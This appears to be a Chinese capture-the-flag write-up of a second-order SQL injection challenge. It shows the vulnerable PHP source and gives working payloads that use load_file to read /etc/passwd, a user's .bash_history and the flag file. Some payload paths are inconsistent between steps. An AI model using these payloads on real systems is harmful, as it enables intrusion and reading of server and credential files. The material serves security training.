[網鼎杯 2018]Comment-1|SQL注入|二次注入

1、打開之後只有一個留言頁面，很自然的就想到了二次注入得問題，順帶查看了下源程式碼資訊，並沒有什麼提示，顯示介面如下：

2、那先掃描一下目錄，同時隨便留言一個測試以下，但是顯示需要登錄，賬戶、密碼給出了部分提示，但是最後三位密碼需要爆破，結果如下：

3、掃描到了.git文件，那就使用githack嘗試獲取下源碼資訊，但是顯示得源碼資訊不全，需要恢復，（這裡在網上找了下，一直恢復不成功，後面再看），結果如下：

githack下載下來的：

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

完整得源碼：

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

4、先隨便進行一個發帖，然後提交留言，回顯了我們的留言資訊，那也就確定了二次注入的回顯數據的地方，結果如下：

5、對獲得的源程式碼進行分析，服務端在接受到我們的數據之後進行了轉義處理（addslashes），但是數據在存到資料庫中時還是存儲的我們提交的數據，變化過程：'->\'->'，結合程式碼：

$sql = "insert into board
            set category = '$category',  //category參數可控
                title = '$title',
                content = '$content'";   
            
$sql = "select category from board where id='$bo_id'";   //直接取用我們可以控制的category參數

$sql = "insert into comment
            set category = '$category',          
                content = '$content', 
                bo_id = '$bo_id'";
//content參數可控並且會展示其內容，調用了我們可控的category參數，所以這條sql語句中就有兩個地方我們可以直接控制

我們留言的內容在（content）：

 所以我們就需要把我們想看到的資訊寫入到content中，使其進行展示，加入我們想要獲取database()的資訊，那我們就應該形成：

$sql = "insert into comment
            set category = '$category',         
                content = database(),             
                bo_id = '$bo_id'";

這裡很明顯content參數的單引號去掉了，但是content參數有進行轉義，所以導致這一情況的只能是category參數，這裡想到了之前做過的一道題：//www.cnblogs.com/upfine/p/16545379.html，通過轉義符使&passwd=成為了搜索的用戶名內容（見下圖），那這裡我們也可以採用這種方式，因此構造我們的category的payload：\，我們的content的payload：,content=database(),#。結果如下：

 

6、在網上看到了另外一種方式，就是採用/**/來注釋掉原來的content內容，其實兩種方式原理差不多，一個是採用/**/注釋掉content部分的內容，一個是採用\轉移單引號，使content內容成為了category的寫入內容（這裡寫入的是comment表，所以並不會影響原來從board獲取的category值，寫入之後語句中的category還是\，可以看上面圖，在一個發帖中同時獲取了user和database），網上category的payload：',content=database(),/*，content的payload：*/#。結果如下：

7、然後就進獲取表、列，具體的資訊等，但是並沒有獲取flag，那就應該是存放在系統上的一個文件里了，讀取下/etc/passwd，這裡不要使用\轉義，因為payload中存在單引號，使用這種方式時，導致payload語句中的單引號被轉移，而無法執行;

所以這裡我們就只能使用/**/注釋掉content內容的方式了，category的payload：',content=(select(load_file('/etc/passwd'))),/*，content的payload：*/#，讀取的/etc/passwd資訊如下：

8、www用戶的目錄是/home/www，讀取一下.bash_history文件，查看下用戶使用的命令，category的payload：',content=(select(load_file('/home/www/.bash_history'))),/*，content的payload：*/#，發現了.DS_Store文件，結果如下：

.bash_history文件：

9、那就讀取下.DS_Store文件，category的payload：',content=(select(load_file('/home/www/.bash_history'))),/*，content的payload：*/#，結果如下（應該是沒有讀完）：

10、那就使用hex編碼讀取一下，category的payload：',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*，content的payload：*/#，結果如下：

返回內容如下：

00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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進行16進位轉換（//www.toolscat.com/decode/hex），結果如下：

最終成功得到flag文件：flag_8946e1ff1ee3e40f.php。

11、讀取下flag文件，category的payload：',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*，content的payload：*/#，結果如下：

返回資訊如下：

3C3F7068700A0924666C61673D22666C61677B64363335303431392D326336372D343261392D386664352D3538663932653334363631647D223B0A3F3E0A

進行16進位轉碼，最終成功得到flag：flag{d6350419-2c67-42a9-8fd5-58f92e34661d}，結果如下：

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